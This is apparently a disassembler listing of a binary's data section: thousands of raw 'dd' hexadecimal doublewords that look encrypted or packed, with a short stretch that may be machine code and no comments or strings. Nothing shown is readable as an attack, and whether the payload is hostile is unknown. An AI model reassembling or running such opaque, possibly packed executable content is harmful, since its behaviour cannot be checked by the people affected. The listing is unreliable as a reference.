		dd 40B74A5Ch, 61D8377Ch, 7FF60B9Dh, 9C13ECBBh, 0D6AE5AD3h
		dd 6919B0F8h, 6245BE31h, 50570B9Dh, 66D138AFh, 9210E8A1h
		dd 4A8F5AAh, 0F4CADF8Bh, 975715EFh, 0B55DEF10h,	47629811h
		dd 8441F3DDh, 0CCAD698Fh, 6ED46ECDh, 4418B84Ah,	0AA25F1FAh
		dd 6FA5B32Bh, 287D5343h, 0A145B1D7h, 8CCD6387h,	410975ACh
		dd 0D176550Bh, 83A79725h, 33EAh, 95A27700h, 67A8037Eh
		dd 0BA5EA75Eh, 7282B841h, 0B625FEE7h, 6A0EF3B7h, 8A05AA46h
		dd 0FEB215EFh, 0C9F8CC6Ch, 0DF5E25F1h, 647D3CFFh, 0BB900975h
		dd 1D000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h,	0BBF1FD3h
		dd 6A155E7h, 0F4B367F9h, 4707940Bh, 4A22CE6Ch, 0DD1FD3A2h
		dd 0C5618529h, 1FD3A6C0h, 0D74EB1F6h, 0D96B9413h, 67E0B582h
		dd 0F0BB92BBh, 0DC530715h, 56CFC275h, 142ACFAAh, 3FB86C1Ch
		dd 0B2D62B7Fh, 0D42D7939h, 4E26D25Bh, 0A12C146Ah, 146B1DF5h
		dd 0C3FCB02Ch, 6AB68E3Ah, 95492C14h, 9256CDF1h,	39C6E114h
		dd 6F82E95h, 0F58BFA6Ch, 48DD6h, 2DD4D800h, 4CB3F2B6h
		dd 689911D5h, 837C2DF1h, 0A35E480Ch, 1F26E02Ch,	3F037A87h
		dd 60249B74h, 7E42B948h, 965FD629h, 0F799711Dh,	0F42C19B0h
		dd 0A0614581h, 0BD426529h, 95A2CF46h, 36DB8700h, 0A315F081h
		dd 0AA3CC5E3h, 0F1A5DE02h, 0EFAC4278h, 0E6489448h, 0BC9030C2h
		dd 2225F34Bh, 98701CA5h, 2B25F34Bh, 6D85377h, 18149252h
		dd 0F34B946Ch, 0CF732725h, 0DB71953Dh, 974EA9Eh, 421AC64Fh
		dd 0D525F357h, 0EF64FD21h, 0F1000000h, 7EEBC7Ch, 26CE60A1h
		dd 0F9AE5E82h, 0E6C07406h, 0E4E9891Bh, 1A1FD3A5h, 70F9728Dh
		dd 0D3A5ECC4h, 0A7CB7F1Fh, 0C43B6C30h, 3E16C24Bh, 0D11FD3A5h
		dd 0C9466D1Dh, 609613A5h, 64823BE6h, 7DA61084h,	0CB6EE22h
		dd 46F14468h, 0E98D7237h, 0B25EE770h, 1FD3A9DAh, 0D0F2376Dh
		dd 839F7988h, 8B842FDFh, 912D51F9h, 15F19768h, 4BB229DDh
		dd 75089DECh, 0CCC035B2h, 0F88A2EA0h, 8733AC50h, 1C149D47h
		dd 0FDBD36EAh, 1DE158A9h, 0E1117889h, 64FA6DF4h, 36CAFCEh
		dd 0F5B70000h, 0D4D1950Ch, 0BAF0B42Bh, 9D0CD047h, 7F27EB62h
		dd 5BF0B82h, 0E45BA600h, 57C9320h, 239A6741h, 40B7485Fh
		dd 7A52FE77h, 0D19B0F6h, 614562D5h, 9E26D1Eh, 172E6F4Ch
		dd 4763D381h, 0B029CD71h, 0B749B8F0h, 0CA5CA503h, 0E35A7E22h
		dd 0ED149656h, 718E19C9h, 624583FAh, 6C182291h,	1FD3A194h
		dd 2BCF7327h, 3DC2E599h, 76C6A8C6h, 0A753CCC1h,	15F081EEh
		dd 9656CF83h, 0E25FF110h, 0F2C15E36h, 993DF125h, 0C19C7420h
		dd 7B2F25F2h, 0E824C457h, 69C205F8h, 9642BBCEh,	0C0452349h
		dd 0D99912C6h, 0FBA335DAh, 49EE45D7h, 0EC906F38h, 9D64C773h
		dd 5D11C669h, 26D25BE4h, 0D669DC4Eh, 2D7D2DE1h,	0A700B0D4h
		dd 4A8674Ch, 6640008Dh,	0DC421AC6h, 21D5D669h, 0FEA9597Dh
		dd 0DCA8802Ch, 873BD669h, 0DC8A620Eh, 691DD669h, 0F4BC5EC5h
		dd 11A740BAh, 275F2h, 15ECC000h, 34CBDA9Eh, 50B1F9BDh
		dd 6B9415D9h, 8B7630F4h, 70EC814h, 27EB629Fh, 480C838Ch
		dd 662AA160h, 7E47BE41h, 0F5815905h, 0DC1419B0h, 0F7BC7C69h
		dd 65DE8618h, 0D3A1E1B9h, 9CC0741Fh, 0B244BBECh, 0CD327535h
		dd 1C6F933Bh, 3DFD761Bh, 0C3E3936Ch, 0E004AC3Eh, 871EDE67h
		dd 1A3EE678h, 0F0B8857Eh, 0EF661A15h, 0FB06A262h, 939DC169h
		dd 228747E1h, 7FA34BDDh, 5B10B2Ch, 25F2B92Dh, 0B9FCD480h
		dd 0DB8F25F2h, 0D14AEEA2h, 0FD411248h, 0E632E6CDh, 776D26C2h
		dd 4E021C10h, 6B9415D5h, 7A0D31D9h, 80E70ADAh, 0D1C47368h
		dd 1A27AC58h, 20D4DEBEh, 8D00378Eh, 56028B14h, 0EEC0597Eh
		dd 9D395D11h, 0E4E2943Ah, 7F8027E7h, 28A145EDh,	47C03F68h
		dd 4CDE2387h, 1E8F9222h, 0F99D389Fh, 0D9A5ED5h,	10E8941Dh
		dd 0A3F4E31Ch, 1B7B53EFh, 0D80EF4E3h, 81612DD9h, 0D7872BABh
		dd 258C30D1h, 23233AE9h, 6BAFCE64h, 0B6000001h,	0D0940BF6h
		dd 0EFB32AD5h, 0BCF46BBh, 26EA619Eh, 0BE0A8180h, 5CA50104h
		dd 7D9221E5h, 9B664206h, 0B8476024h, 53FF7841h,	19B0F47Bh
		dd 7C63D60Eh, 8214EBBCh, 0A106B6DAh, 8E25E55Eh,	74CB5D81h
		dd 0A955CEC3h, 15F09204h, 0C484FDB1h, 0E1891BE6h, 4B2846BDh
		dd 0DE573AFDh, 0FB17932h, 0C75A0E1Ch, 629EAF27h, 6642024Ch
		dd 3D61099Bh, 0CF484DEAh, 4569960Fh, 0D09B20CCh, 8848DB21h
		dd 0AB3DE120h, 0DC2CE354h, 335C9C8Fh, 0B41BA5Eh, 49E07262h
		dd 0D64F7361h, 46B7C72Ah, 47C074E1h, 66DF2087h,	89020DA6h
		dd 46F705DDh, 0C0E498F1h, 0DD228549h, 5F9AA876h, 0F615AB27h
		dd 0AEh, 0D74EB3F9h, 0F66D9213h, 12897832h, 2DA45B4Eh
		dd 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh, 0A9D61D8h
		dd 3CB57EF5h, 0B0F3B890h, 0A0134B19h, 0B9D6245h, 18C83B4h
		dd 0DBEB8168h, 6BF46D11h, 0C65E36E2h, 2D7A1FD2h, 0C1E599D2h
		dd 0EFCFD025h, 32A95D15h, 0B0296CCBh, 12323404h, 822EB71Ch
		dd 2C1471AAh, 487A073Dh, 68FC8200h, 118E20C4h, 15A75851h
		dd 0E99496Dh, 0F1B67AF1h, 0BDDC7C0Eh, 95D355EDh, 5E49D806h
		dd 41662AA1h, 31782CBEh, 2BAA3CCEh, 0C6396EB3h,	0EAB5174Dh
		dd 0F8E8F441h, 0E995DD4h, 3405FF1h, 0C9000000h,	674540A7h
		dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
		dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h, 342Ah
		dd 51242489h, 4B9h, 244C0100h, 89515904h, 4C181E1h, 83000000h
		dd 0C8704E9h, 34895C24h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 51242C89h, 0F17E96B9h,	7E1C15Dh, 0E981E1D1h
		dd 0EB5BF28Dh, 0C8BCE89h, 4C48324h, 242C8B54h, 5004C483h
		dd 8B8h, 89E80100h, 24048B30h, 8B04C483h, 8952242Ch, 4C281E2h
		dd 83000000h, 148704C2h, 348B5C24h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 0CDCCE95Ch, 0B567FFFCh, 1FB897D5h
		dd 30622AFh, 0FEE0FFC5h, 0B704015Ah, 0FA54B3C4h, 0AF23FF04h
		dd 7B727F48h, 5A35B89Dh, 680E8290h, 8464156Fh, 1F4EABF5h
		dd 4A39665Ah, 0E975047Ch, 148h,	50h, 54h, 58h, 5Ch, 60h
		dd 64h,	68h, 6Ch, 0B0h,	0B4h, 0B8h, 0BCh, 0C0h,	0C4h, 0C8h
		dd 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh
		dd 38h dup(0)
		dd offset dword_5685C8+780h
		dd 9E50EBh, 0AFF0858Dh,	830F0622h, 6, 422EF281h, 8589640Ah
		dd 622B130h, 0C67FCD80h, 1F202585h, 0B5895406h,	61F1C39h
		dd 6E960h, 0F4ED0000h, 3260D337h, 4E861FCh, 29000000h
		dd 60EE6268h, 25BB5250h, 0F3F5819h, 5A616031h, 0C68B6058h
		dd 0EE9h, 33BF1100h, 87B0A7EEh,	0C3A61B5Eh, 61A6DC7Fh
		dd 8B665061h, 24448BDFh, 89008B04h, 66042444h, 158D38Bh
		dd 1F311585h, 71B5FF06h, 89061F32h, 1F0F6195h, 7D9D8906h
		dd 8D061F0Eh, 22799385h, 0FD0FF06h, 68Fh, 0C5B58900h, 89061F02h
		dd 22B13485h, 499D8B06h, 0E9061F11h, 49h, 11E59D29h, 8B56061Fh
		dd 22B130B5h, 83068906h, 22B13085h, 0C35E0406h,	0F0B58D60h
		dd 0EB0622AFh, 6A560Fh,	95FF36FFh, 622B134h, 4C6835Eh
		dd 75003E83h, 89C361ECh, 1F3085B5h, 69B58906h, 29061F0Ah
		dd 1F0ABD95h, 4858D06h,	310622B2h, 1F2311BDh, 11858906h
		dd 0EB061F0Fh, 0BE000039h, 0BE02CC00h, 0BE02E400h, 0
		dd 0EF72F200h, 0F67E0446h, 0E776C877h, 0EC72A723h, 0E635054Eh
		dd 0CC1B584Fh, 0CE575E77h, 0CD6F4323h, 0D675E353h, 0E37E314Bh
		dd 6A7BA147h, 821BD037h, 3900715Bh, 0A34E5AACh,	3875408Ah
		dd 0DB5446EBh, 0ADB0C36Ah, 8211C62Ch, 87F2A123h, 0B21BD023h
		dd 54701D27h, 0E8DBBF7Ch, 81F34823h, 0A21B0D23h, 0B414579h
		dd 31F6777h, 9F1F8567h,	0C01BD023h, 8237AB71h, 0E486ACDDh
		dd 7F6226E5h, 96911B9Ch, 43A60574h, 821D5C25h, 3F98A856h
		dd 8404CF72h, 0D2021C23h, 3ADBBF70h, 821B1E9Ah,	8D7E88AAh
		dd 1F96803Ch, 843AEC87h, 0DA4072DCh, 9D4A6DA0h,	0F61B6E3Ch
		dd 3A486434h, 821B1E9Ah, 8D7E88AAh, 1F96803Ch, 843AEFB0h
		dd 0DA4072DCh, 0A3DD5145h, 4796E38Dh, 91D2B38h,	0D31B70E3h
		dd 821B0ECBh, 4142A623h, 0A657CA7Ah, 0A65F2027h, 821BCA27h
		dd 414A2923h, 0C39883EEh, 445DBF5Fh, 9D3B28A6h,	8271D025h
		dd 8218AB72h, 0DB3BA123h, 0CE9289E0h, 0C69A6C07h, 82023007h
		dd 0D35A1A23h, 7020E2E0h, 0E4AE1CDDh, 8D44729Ch, 0B4735894h
		dd 0D2DBC93Dh, 6B2A6771h, 821B3433h, 460AD6D5h,	6EBD976Ah
		dd 9D7A7EF6h, 685A2AA2h, 0B69AF979h, 33BDB407h,	0D71B027Fh
		dd 821B37CBh, 41463A23h, 0A677847Eh, 0A65F0727h, 821B5B27h
		dd 414EE423h, 5F734956h, 17123ECCh, 84040686h, 0F3AEE57Ch
		dd 21D1211h, 7963DC6h, 84393AB0h, 6A48A149h, 821BD020h
		dd 0D9D83303h, 863F68AAh, 863F5EA2h, 821B0D39h,	9CD8D560h
		dd 87851386h, 0F2AE5F1h, 8404DF76h, 8271B8DCh, 8218DC70h
		dd 0D93B1A23h, 0DE9256E0h, 0C69A8207h, 820E4707h, 0D158A123h
		dd 0E2CFF2E0h, 8C82FDA8h, 1F30323Ch, 840401D6h,	0D84A5B42h
		dd 8D1FEC79h, 821B43AEh, 821F4923h, 921BD023h, 8CF26823h
		dd 7C1B3423h, 3830854h,	10AA090Fh, 4B4C952h, 0E47B1370h
		dd 0E4F0E99Dh, 0E31F1B9Ah, 863F2CA8h, 8290F092h, 0B3144873h
		dd 0D8E18645h, 0A65F0F7Bh, 344EFA27h, 0E843AE7Dh, 81F38123h
		dd 0A21B6823h, 0B42F77Ah, 31F3E6Fh, 941F2967h, 0C31B8623h
		dd 99818072h, 1F8E2A01h, 0EA1DCF09h, 4FB430D3h,	0D1828E75h
		dd 3425E54h, 2BE72927h,	84F3B473h, 4B1B4323h, 6942705Dh
		dd 82718A8Bh, 6A4C6849h, 821B3420h, 0DDD84503h,	863F71AAh
		dd 863FC2A2h, 821B4336h, 3D8F664h, 82093932h, 0B2156823h
		dd 0D69D1251h, 4ADB9633h, 0A378852h, 10BA1C21h,	9BCEFEA8h
		dd 52E4A73Ch, 6A4DD049h, 821B6820h, 0DCD86A03h,	863F6EAAh
		dd 863F49A2h, 821B863Ah, 84D81565h, 35705502h, 0CB9E5942h
		dd 31D4A91h, 0D6EEE9CCh, 87E39159h, 821B0FEFh, 305603AAh
		dd 42984501h, 0D39E283Bh, 0B11DF291h, 80F7D1E3h, 28E83423h
		dd 6A4A1A49h, 821B0D20h, 0DBD8DF03h, 863F0FAAh,	863FE5A2h
		dd 821BD039h, 84D83962h, 0FFB2BE67h, 3F321722h,	8404142Eh
		dd 8C323B10h, 97D453Ch,	0A79E67E8h, 0C11DCF03h,	6A4A6849h
		dd 821B3420h, 0DBD84303h, 863F41AAh, 863FC2A2h,	821B4336h
		dd 12D8F062h, 639AB6F7h, 4A73AFA7h, 0E4E68076h,	0B69AD4A8h
		dd 51259B07h, 0D41BEC42h, 821B40CBh, 41458123h,	0A66F597Dh
		dd 0A65FE927h, 821B2227h, 414D5C23h, 9287615h, 9D38CF9Eh
		dd 0F3AEBC25h, 0E81DBE11h, 81F38623h, 0A21B6823h, 0B45F77Dh
		dd 31F3E57h, 941F2967h,	0C41B8623h, 0BB028075h,	7BA6287Ch
		dd 0F1DCF38h, 0A062FBA6h, 0D51B5E25h, 821B19CBh, 41442D23h
		dd 0A6670F7Ch, 0A65FC227h, 821BB727h, 414C9723h, 7D4E0B34h
		dd 0D71B5EF3h, 821B19CBh, 41462D23h, 0A6770F7Eh, 0A65FC227h
		dd 821BBD27h, 414E9523h, 0B53475B9h, 3B311507h,	849B1598h
		dd 91B0D23h, 9D0DAB9Eh,	0B9ECA25h, 0E41DBE38h, 79600A8h
		dd 84047602h, 837AB1AAh, 82711C3Ch, 8218E576h, 0DF3B8623h
		dd 0EE921EE0h, 0C69AA507h, 820FD407h, 0D75E6823h, 173028E0h
		dd 84041042h, 821D862Ch, 17908623h, 84045CDEh, 0A23E24E5h
		dd 0E848D63Ch, 81F33A23h, 0A21B3423h, 0B41D979h, 31F2977h
		dd 9B1FA267h, 0C01B4323h, 33996271h, 0D12F1B83h, 940AFDA8h
		dd 0F273323Ch, 3949C12h, 95732927h, 8271EB08h, 8218AB75h
		dd 0DC3BA123h, 0F6928EE0h, 0C69A6C07h, 820E3007h, 0D45D1A23h
		dd 0E49647E0h, 0BBF44FA2h, 948EC6AAh, 37E4A73Ch, 8404E252h
		dd 6A496849h, 821B3420h, 0D8D84003h, 863F59AAh,	863FC2A2h
		dd 821B433Ah, 7D8F361h,	61812489h, 0C1408BFh, 821B3420h
		dd 89BDEAA3h, 9D093CBEh, 796E725h, 84393AB0h, 27AE2870h
		dd 0DB1DCF3Bh, 0F0FA5F9Ch, 0E2CBCB55h, 4A9A7C71h, 9405EF1h
		dd 9D00F3A6h, 7922225h,	8404BC66h, 6A49D049h, 821B6820h
		dd 0D8D86E03h, 863F4EAAh, 863F49A2h, 821B863Fh,	42D81161h
		dd 788C6323h, 13CE67ACh, 811EDDA8h, 0F14323Ch, 821B1A2Ah
		dd 82188E2Ch, 97D8623h,	0A79E85DDh, 0D11DBE03h,	6A4DD049h
		dd 821B6820h, 0DCD86A03h, 863F6EAAh, 863F49A2h,	821B8634h
		dd 6DD81565h, 0E408E9D8h, 22732BA8h, 3B9C1941h,	0BD73E5FFh
		dd 913F2EA2h, 0E8446485h, 81F3D523h, 0A21B4323h, 0B406278h
		dd 31FF47Fh, 991F4C67h,	0C11B3423h, 88ED970h, 98326D93h
		dd 3486DF4h, 29CB89F1h,	37E4FF1Fh, 8404E252h, 6A4C6849h
		dd 821B3420h, 0DDD84503h, 863F71AAh, 863FC2A2h,	821B433Ah
		dd 6FD8F664h, 4DB41E1Fh, 82128108h, 8E0A3423h, 9EACDAE2h
		dd 0E4E13907h, 79655A8h, 84393AB0h, 6A4BA149h, 821BD020h
		dd 0DAD83003h, 863F70AAh, 863F5EA2h, 821B0D34h,	82D8D663h
		dd 7D9EB936h, 0D39628F3h, 0B1DCF00h, 9D00A1A6h,	0A79EF225h
		dd 0C51D0503h, 6A4C0D49h, 821B8620h, 0DDD81C03h, 863FDDAAh
		dd 863F94A2h, 821B683Fh, 0D86364h, 0EB792A5h, 86497E7Fh
		dd 821B8DCAh, 0F2C91A23h, 520CAED2h, 64405700h,	8242F5AAh
		dd 86F3323Ch, 2B1B1A23h, 0D2ACD3FEh, 0FEE9C699h, 0A65FC827h
		dd 301B2A27h, 0A65F5905h, 8D493827h, 0D2496412h, 0D82A1571h
		dd 382A027Bh, 0B0738B6Ah, 0DA411B79h, 0D51BCB7Bh, 821BD3CBh
		dd 41444823h, 0A667BD7Ch, 0A65F9B27h, 821B1B27h, 414CC123h
		dd 8D8018A9h, 821BA7A9h, 5BAE5923h, 811D7735h, 9D17EDB6h
		dd 0F3AEE525h, 0E81D1211h, 81F3D423h, 0A21B4323h, 0B416279h
		dd 31FF477h, 9A1F4C67h,	0C01B3423h, 0C591D971h,	6B17B0D0h
		dd 821B8626h, 4E3B7D7Dh, 119E2CB8h, 0E81DF25Ah,	81F33A23h
		dd 0A21B3423h, 0B41D979h, 31F2977h, 941FA267h, 0C01B4323h
		dd 68536271h, 7865973h,	7D1D7739h, 0D01B5EF3h, 821B19CBh
		dd 41412D23h, 0A64F0F79h, 0A65FC227h, 821BBB27h, 41499223h
		dd 0E9F221B6h, 0E4EC99E9h, 0B4B809Ch, 9D03E8A6h, 0D21BEC25h
		dd 821B40CBh, 41438123h, 0A65F597Bh, 0A65FE927h, 821B2F27h
		dd 414B5A23h, 81A0DCh, 4D5B8DF1h, 0A1E2F6A8h, 7DDA73Ch
		dd 8404F006h, 539E6164h, 6A1D2B3Ch, 821B1A27h, 3C71D59h
		dd 344B5291h, 0A65FC8AAh, 8197AE27h, 0E41BD023h, 8290B9A8h
		dd 863F70AAh, 57914C7Bh, 0F3AEF27Ah, 0E81D9911h, 81F31123h
		dd 0A21BA123h, 0B411379h, 31F4C77h, 9B1F1067h, 0C01B1A23h
		dd 525CE71h, 267806Fh, 17D9C245h, 439E9091h, 0F1DCF36h
		dd 0A062FBA6h, 88903B25h, 6B1B1A23h, 821B0D26h,	50FA3571h
		dd 6BCBBCCBh, 821BA129h, 272FD593h, 0D5C736ADh,	792DF1Ch
		dd 84041A02h, 6A4A0D49h
		dd 821B8620h, 0DBD81A03h, 863FEDAAh, 863F94A2h,	821B6835h
		dd 0D8D86562h, 7DD860Ah, 84042D06h, 0C9737A64h,	0E2887C57h
		dd 21466A8h, 821BD021h,	37A3072h, 4A091027h, 739B0DAEh
		dd 8208E457h, 0B1828623h, 0BCB08DA3h, 0ACFA16C8h, 3065E81Ch
		dd 19FCB8F8h, 0F3AECBCCh, 0E81D0511h, 81F35E23h, 0A21B8623h
		dd 0B408078h, 31F857Fh,	9A1FF467h, 0C11B6823h, 20E3F770h
		dd 7E71F48Fh, 0FB8888AEh, 3F108001h, 84044D26h,	3F9071DCh
		dd 8404E08Ah, 82AEEDAAh, 8271323Ch, 8218F270h, 0D93B0D23h
		dd 0DE92DDE0h, 0C69A4707h, 820CA507h, 0D158D023h, 22840BE0h
		dd 0E8CBCB8Ah, 81F34F23h, 0A21B0D23h, 0B46457Eh, 31F674Fh
		dd 9E1F8567h, 0C71BD023h, 0AD6AAB76h, 33EF63B8h, 30E08C1h
		dd 0B75C70EAh, 0BBA6AD5Fh, 0B1D5C3Eh, 9D0800A6h, 0D41BBA25h
		dd 821B6BCBh, 41451423h, 0A66F937Dh, 0A65F8C27h, 821B9127h
		dd 414D0523h, 6C06F2CAh, 821D552Ch, 0F146823h, 821B3423h
		dd 995EAFA8h, 0E7D0B3Ch, 0E81FA2FBh, 81F31623h,	0A21BA123h
		dd 0B46137Eh, 31F4C4Fh,	951F1067h, 0C71B1A23h, 0C71ECE76h
		dd 0C14D4BCh, 821B4325h, 604C4EA2h, 42119EF4h, 80E0EC2Ch
		dd 37303423h, 84043406h, 0A23E88E5h, 0E854803Ch, 81F31523h
		dd 0A21BA123h, 0B45137Dh, 31F4C57h, 9B1F1067h, 0C41B1A23h
		dd 0A6F6CE75h, 7CB2F04h, 9ABEDE12h, 1C73A73Ch, 386FB27h
		dd 0EA414C17h, 0F901688h, 84040B1Ah, 0B06AB8DCh, 97D803Ch
		dd 0AB8ECADBh, 0F1DBE32h, 0A06243A6h, 9396E325h, 7D1D2B2Ah
		dd 0A6DB99F3h, 926280AAh, 792803Ch, 84046EC2h, 8208212Ch
		dd 8CF2D023h, 0AC1B6823h, 1274A574h, 30E5C063h,	0C8B4EE78h
		dd 82086EA8h, 1A0E4323h, 0E83F8BD9h, 0E5CCF626h, 30D955E8h
		dd 0DFCBE514h, 7904415h, 84041E82h, 940A030Ah, 1F90453Ch
		dd 8404A196h, 0C0F95145h, 72FCD64Eh, 0E8582505h, 81F34F23h
		dd 0A21B0D23h, 0B46457Eh, 31F674Fh, 9E1F8567h, 0C71BD023h
		dd 0E339AB76h, 525BD242h, 6B273131h, 821B0D31h,	34DBBCCFh
		dd 9DC2784Fh, 5CA9726Ah, 0ED0274CDh, 99908EEBh,	6A4D3449h
		dd 821B1A20h, 0DCD85303h, 863FF2AAh, 863F07A2h,	821BA134h
		dd 34D88665h, 34D8C3BAh, 539A5261h, 99905F86h, 6A490D49h
		dd 821B8620h, 0D8D81903h, 863FF5AAh, 863F94A2h,	821B683Fh
		dd 33D86661h, 578A079Fh, 0A98D1028h, 82719DA8h,	8218AB72h
		dd 0DB3BA123h, 0CE9289E0h, 0C69A6C07h, 820D3007h, 0D35A1A23h
		dd 5CF8F1E0h, 82715E10h, 8218AB74h, 0DD3BA123h,	0FE928FE0h
		dd 0C69A6C07h, 82073007h, 0D55C1A23h, 5DBB08E0h, 8C6DAD5Fh
		dd 1F92E858h, 84048FEAh, 6A4ED049h, 821B6820h, 0DFD86903h
		dd 863F76AAh, 863F49A2h, 821B8634h, 0BFD81666h,	0E4B48DF1h
		dd 443A6A9Dh, 9D3B4DA6h, 6AE37325h, 821B1A27h, 35C5D08Ah
		dd 0E24B6791h, 821B51CAh, 26526723h, 28FBA251h,	0DC4D62h
		dd 5668CADEh, 0E2E3279Ah, 0E4E38645h, 0E369D499h, 0A65FC842h
		dd 91B2A27h, 0A65F59D2h, 0DA45D927h, 37E4E2A8h,	84042852h
		dd 6A4B0D49h, 821B8620h, 0DAD81B03h, 863FE5AAh,	863F94A2h
		dd 821B6834h, 0FED86463h, 9A86624h, 9D1808B6h, 119E0B25h
		dd 91D615Ah, 9D192C9Eh,	4FAE5925h, 7D1D7738h, 0B8382F3h
		dd 9D03FFA6h, 0D31B6725h, 821B85CBh, 41426323h,	0A657287Ah
		dd 0A65F5127h, 821B7E27h, 414A7523h, 0B9B37E4h,	9D1910AEh
		dd 77A68725h, 0C21D5C33h, 90A173A2h, 829099C5h,	6A4E6849h
		dd 821B3420h, 0DFD84703h, 863F61AAh, 863FC2A2h,	821B433Ah
		dd 0D9D8F466h, 9C97562Dh, 0CDCDE9B8h, 950319Dh,	0D51B7023h
		dd 821B0ECBh, 4144A623h, 0A667CA7Ch, 0A65F2027h, 821BC927h
		dd 414C2F23h, 0BE973865h, 0F90455Ch, 8404009Eh,	0A99E3BA8h
		dd 0F30453Ch, 8404AA42h, 808E55AAh, 3F906E3Ch, 840418BEh
		dd 857AA7AAh, 91F20B3Ch, 0D31B8622h, 9D26D6A8h,	941A73Ch
		dd 9D137996h, 0ED9EE525h, 0E41D1691h, 0D202AD9Ch, 821B1ECBh
		dd 0D8625523h, 0C0BF9A3Dh, 9CE52F26h, 2E08C176h, 12FEEE4Ah
		dd 821B33CAh, 67D6D623h, 113913B6h, 0A61F0F7Ah,	8314D99Ah
		dd 338E5E7Fh, 0E81DCF0Eh, 81F33F23h, 0A21B3423h, 0B44D97Ch
		dd 31F295Fh, 991FA267h,	0C51B4323h, 0F6476274h,	735E3F76h
		dd 3D1403E9h, 0F786B9F2h, 8D1D3891h, 821B08A3h,	689AE023h
		dd 0B4BB12Bh, 8271853Fh, 82183874h, 0DD3B6823h,	0FE926BE0h
		dd 0C69A1E07h, 820D0907h, 0D55C8623h, 0E63039E0h, 12E52A45h
		dd 0E44BB996h, 98BA2A8h, 9D16599Eh, 938EE525h, 0E81D1229h
		dd 81F3D123h, 0A21B4323h, 0B44627Ch, 31FF45Fh, 9A1F4C67h
		dd 0C51B3423h, 43D2D974h, 0E439CE38h, 2DFE70A2h, 9392FEA8h
		dd 792A73Ch, 8404FDC2h,	6A496849h, 821B3420h, 0D8D84003h
		dd 863F59AAh, 863FC2A2h, 821B433Bh, 0D4D8F361h,	706AEF1Eh
		dd 0B252E520h, 7DD323Ch, 84043A06h, 0D01B6770h,	821B85CBh
		dd 41416323h, 0A64F2879h, 0A65F5127h, 821B7027h, 41497623h
		dd 5DFDAC19h, 0C3F98C81h, 0EA27A304h, 0B00BF4B9h, 869ADC96h
		dd 0F4D73507h, 1F92905Bh, 84043272h, 0B06AAFDCh, 82710B3Ch
		dd 82186E73h, 0DA3B4323h, 0C692F9E0h, 0C69AD407h, 820E6C07h
		dd 0D25B3423h, 8D775CE0h, 1732FB94h, 84048492h,	0FB88C6AEh
		dd 8271A701h, 82183870h, 0D93B6823h, 0DE926FE0h, 0C69A1E07h
		dd 820F0907h, 0D1588623h, 0E4EEBCE0h, 7D6F169Ah, 0D41BBAF3h
		dd 821B6BCBh, 41451423h, 0A66F937Dh, 0A65F8C27h, 821B9B27h
		dd 414D0523h, 0C9DF0A9Fh, 17C90C48h, 4146D86h, 821B3427h
		dd 50CCA345h, 0AD4E88AAh, 387D803Ch, 4890DEFAh,	0A23E24E5h
		dd 0E85CD63Ch, 81F33D23h, 0A21B3423h, 0B46D97Eh, 31F294Fh
		dd 991FA267h, 0C71B4323h, 24E06276h, 0DED8AD00h, 0F14E87Bh
		dd 821B3432h, 821B16CAh, 0E7CCC923h, 3D4E385h, 4643239Ah
		dd 82104985h, 0A2E2D023h, 0B81237D2h, 199D1358h, 13AE935Fh
		dd 0DC1D123Bh, 821B82CBh, 0F00ED323h, 0CA2F182h, 909B09Ch
		dd 6A1F4C67h, 821B3428h, 7ADD80CAh, 9C2127DBh, 6A21E01Ah
		dd 821B4328h, 0A4D9C873h, 0DF299EB5h, 6B3141F3h, 821B3428h
		dd 2141C650h, 0D81AADE4h, 0DDF82575h, 0E21BC87Ch, 5A90C775h
		dd 82083878h, 47506823h, 79899754h, 4097B0EEh, 202FC108h
		dd 0EA12BBB3h, 0DD7A234Eh, 0A65F2842h, 82133927h, 748F6823h
		dd 951FAE54h, 0E843DC4Ch, 81F35C23h, 0A21B8623h, 0B42807Ah
		dd 31F856Fh, 961FF467h,	0C31B6823h, 0E469F772h,	3B3BDCA2h
		dd 0B06AB8DCh, 8271803Ch, 8218AB76h, 0DF3BA123h, 0EE928DE0h
		dd 0C69A6C07h, 820D3007h, 0D75E1A23h, 0E1EB9FE0h, 0FB8803AEh
		dd 97D4501h, 6BCB5EDDh,	821BD025h, 6E1F51BFh, 7923110h
		dd 84040C02h, 6A490D49h, 821B8620h, 0D8D81903h,	863FF5AAh
		dd 863F94A2h, 821B683Eh, 57D86661h, 0E3398E4Ch,	525BEB42h
		dd 0A79E4031h, 0D11D5C03h, 6A4DA149h, 821BD020h, 0DCD83603h
		dd 863F40AAh, 863F5EA2h, 821B0D36h, 85D8D065h, 0ABA12B68h
		dd 0B4A9146Eh, 0A83FE4A2h, 0E8371C55h, 81F36423h, 0A21B1A23h
		dd 0B43CE7Bh, 31FA267h,	9A1F6767h, 0C21BA123h, 0BDF61373h
		dd 7D4C9B02h, 9D294596h, 0D31B7025h, 821B0ECBh,	4142A623h
		dd 0A657CA7Ah, 0A65F2027h, 821BCD27h, 414A2923h, 92EF8CE0h
		dd 0F7E885CFh, 97DAC23h
		dd 899C89D8h, 8D1B4323h, 821BA4A6h, 59DF6923h, 3F92696Fh
		dd 8404363Ah, 0FB889FAEh, 75900B01h, 827156DCh,	8218AB71h
		dd 0D83BA123h, 0D6928AE0h, 0C69A6C07h, 82003007h, 0D0591A23h
		dd 56DE9BE0h, 0E28E79D8h, 0EDA425C7h, 0DB9E28CCh, 0E81DCF0Eh
		dd 81F33B23h, 0A21B3423h, 0B40D978h, 31F297Fh, 951FA267h
		dd 0C11B4323h, 0A4496270h, 7DD8945h, 84044806h,	0D71B5E74h
		dd 821B19CBh, 41462D23h, 0A6770F7Eh, 0A65FC227h, 821BBD27h
		dd 414E9523h, 0CF29362Fh, 0AEC64BE9h, 0F904BE3h, 8404295Eh
		dd 7590E07Ah, 0BD4FFD45h, 821BA5CBh, 8649D623h,	44DD2B3h
		dd 0D44B4B1Bh, 941DA95h, 91F2967h, 0D11B0DF0h, 0DC4B1173h
		dd 0E37B902Ch, 0B448879h, 0E41F4C67h, 0DA863C9Dh, 6A491A49h
		dd 821B0D20h, 0D8D8DC03h, 863F17AAh, 863FE5A2h,	821BD039h
